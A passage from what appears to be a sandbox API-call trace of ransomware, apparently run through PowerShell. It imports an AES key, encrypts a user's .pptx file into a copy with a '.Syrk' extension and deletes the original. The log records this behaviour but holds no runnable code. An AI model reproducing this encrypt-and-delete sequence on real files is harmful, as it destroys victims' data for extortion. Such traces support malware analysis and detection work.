(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0231.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0231.193] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.193] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0231.193] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.193] EtwEventActivityIdControl () returned 0x0 [0231.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0231.194] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0231.194] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0231.195] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0231.197] CryptImportKey (in: hProv=0x5c4d210, pbData=0x250a7c8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997e0) returned 1 [0231.197] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.198] EtwEventActivityIdControl () returned 0x0 [0231.198] EtwEventActivityIdControl () returned 0x0 [0231.198] EtwEventActivityIdControl () returned 0x0 [0231.203] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0231.203] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0231.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.204] EtwEventActivityIdControl () returned 0x0 [0231.204] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.204] EtwEventActivityIdControl () returned 0x0 [0231.204] EtwEventActivityIdControl () returned 0x0 [0231.204] EtwEventActivityIdControl () returned 0x0 [0231.205] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.205] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0231.206] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0231.206] GetFileType (hFile=0x454) returned 0x1 [0231.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0231.206] GetFileType (hFile=0x454) returned 0x1 [0231.206] EtwEventActivityIdControl () returned 0x0 [0231.206] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.207] EtwEventActivityIdControl () returned 0x0 [0231.207] EtwEventActivityIdControl () returned 0x0 [0231.207] EtwEventActivityIdControl () returned 0x0 [0231.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0231.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", lpFilePart=0x0) returned 0x3b [0231.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0231.255] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0231.256] GetFileType (hFile=0x458) returned 0x1 [0231.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0231.256] GetFileType (hFile=0x458) returned 0x1 [0231.256] EtwEventActivityIdControl () returned 0x0 [0231.256] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x251b488 | out: pbBuffer=0x251b488) returned 1 [0231.257] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.258] CryptDuplicateKey (in: hKey=0x5c997e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994e0) returned 1 [0231.258] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.258] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x4, pbData=0x251c7c0*=0x1, dwFlags=0x0) returned 1 [0231.258] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x1, pbData=0x251c78c, dwFlags=0x0) returned 1 [0231.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.258] EtwEventActivityIdControl () returned 0x0 [0231.258] EtwEventActivityIdControl () returned 0x0 [0231.258] EtwEventActivityIdControl () returned 0x0 [0231.259] EtwEventActivityIdControl () returned 0x0 [0231.259] ReadFile (in: hFile=0x454, lpBuffer=0x251f3fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x251f3fc*, lpNumberOfBytesRead=0x5a2e7d8*=0x76bf, lpOverlapped=0x0) returned 1 [0231.261] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2533414*, pdwDataLen=0x5a2e7cc*=0x76b0, dwBufLen=0x76b0 | out: pbData=0x2533414*, pdwDataLen=0x5a2e7cc*=0x76b0) returned 1 [0231.261] WriteFile (in: hFile=0x458, lpBuffer=0x251b570*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x251b570*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0231.262] WriteFile (in: hFile=0x458, lpBuffer=0x2534400*, nNumberOfBytesToWrite=0x66c4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2534400*, lpNumberOfBytesWritten=0x5a2e7b0*=0x66c4, lpOverlapped=0x0) returned 1 [0231.263] ReadFile (in: hFile=0x454, lpBuffer=0x251f3fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x251f3fc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0231.263] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253aad0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x253aad0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0231.263] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x253aaec*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x253aaec*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0231.263] WriteFile (in: hFile=0x458, lpBuffer=0x251b570*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x251b570*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0231.263] CloseHandle (hObject=0x458) returned 1 [0231.265] CloseHandle (hObject=0x454) returned 1 [0231.265] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.266] EtwEventActivityIdControl () returned 0x0 [0231.266] EtwEventActivityIdControl () returned 0x0 [0231.266] EtwEventActivityIdControl () returned 0x0 [0231.271] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0231.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.273] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0231.273] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0231.273] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0231.273] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0231.273] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0231.273] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0231.273] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0231.273] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0231.273] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0231.273] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0231.274] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0231.274] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0231.274] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0231.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.277] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0231.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0231.277] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0231.277] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0231.277] CoTaskMemFree (pv=0x5c9b950) [0231.280] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 0x20 [0231.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx", lpFilePart=0x0) returned 0x36 [0231.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0231.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx"), fInfoLevelId=0x0, lpFileInformation=0x25469f8 | out: lpFileInformation=0x25469f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6e13a0, ftCreationTime.dwHighDateTime=0x1d951cb, ftLastAccessTime.dwLowDateTime=0xf9956dd0, ftLastAccessTime.dwHighDateTime=0x1d95a7a, ftLastWriteTime.dwLowDateTime=0xf9956dd0, ftLastWriteTime.dwHighDateTime=0x1d95a7a, nFileSizeHigh=0x0, nFileSizeLow=0x76bf)) returned 1 [0231.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0231.281] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx")) returned 1 [0231.283] EtwEventActivityIdControl () returned 0x0 [0231.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.283] EtwEventActivityIdControl () returned 0x0 [0231.283] EtwEventActivityIdControl () returned 0x0 [0231.283] EtwEventActivityIdControl () returned 0x0 [0231.289] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx.syrk")) returned 0x20 [0231.290] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx.syrk")) returned 0x20 [0231.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0231.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk", lpFilePart=0x0) returned 0x3b [0231.290] EtwEventActivityIdControl () returned 0x0 [0231.291] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.291] EtwEventActivityIdControl () returned 0x0 [0231.291] EtwEventActivityIdControl () returned 0x0 [0231.291] EtwEventActivityIdControl () returned 0x0 [0231.294] EtwEventActivityIdControl () returned 0x0 [0231.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.294] EtwEventActivityIdControl () returned 0x0 [0231.294] EtwEventActivityIdControl () returned 0x0 [0231.294] EtwEventActivityIdControl () returned 0x0 [0231.297] EtwEventActivityIdControl () returned 0x0 [0231.298] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.298] EtwEventActivityIdControl () returned 0x0 [0231.298] EtwEventActivityIdControl () returned 0x0 [0231.298] EtwEventActivityIdControl () returned 0x0 [0231.348] EtwEventActivityIdControl () returned 0x0 [0231.348] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.349] EtwEventActivityIdControl () returned 0x0 [0231.349] EtwEventActivityIdControl () returned 0x0 [0231.349] EtwEventActivityIdControl () returned 0x0 [0231.388] EtwEventActivityIdControl () returned 0x0 [0231.388] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.389] EtwEventActivityIdControl () returned 0x0 [0231.389] EtwEventActivityIdControl () returned 0x0 [0231.389] EtwEventActivityIdControl () returned 0x0 [0231.394] EtwEventActivityIdControl () returned 0x0 [0231.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0231.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\qDT8j-_Xcq 65lLCPzig.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\qdt8j-_xcq 65llcpzig.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2550e84 | out: lpFileInformation=0x2550e84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc9380, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x5cc9380, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x5cc9380, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x76d4)) returned 1 [0231.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0231.401] GetConsoleOutputCP () returned 0x1b5 [0231.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.441] GetConsoleOutputCP () returned 0x1b5 [0231.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.442] GetConsoleOutputCP () returned 0x1b5 [0231.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.442] GetConsoleOutputCP () returned 0x1b5 [0231.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.442] GetConsoleOutputCP () returned 0x1b5 [0231.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.442] GetConsoleOutputCP () returned 0x1b5 [0231.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.442] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.443] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.443] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.443] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.443] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.443] GetConsoleOutputCP () returned 0x1b5 [0231.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0231.444] GetConsoleOutputCP () returned 0x1b5 [0231.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0231.444] GetConsoleOutputCP () returned 0x1b5 [0231.444] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0231.444] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0231.445] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0231.445] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x256aad0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x256aad0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0231.445] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0231.446] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0231.447] EtwEventActivityIdControl () returned 0x0 [0231.448] EtwEventActivityIdControl () returned 0x0 [0231.448] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.448] EtwEventActivityIdControl () returned 0x0 [0231.448] EtwEventActivityIdControl () returned 0x0 [0231.448] EtwEventActivityIdControl () returned 0x0 [0231.450] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.451] EtwEventActivityIdControl () returned 0x0 [0231.451] EtwEventActivityIdControl () 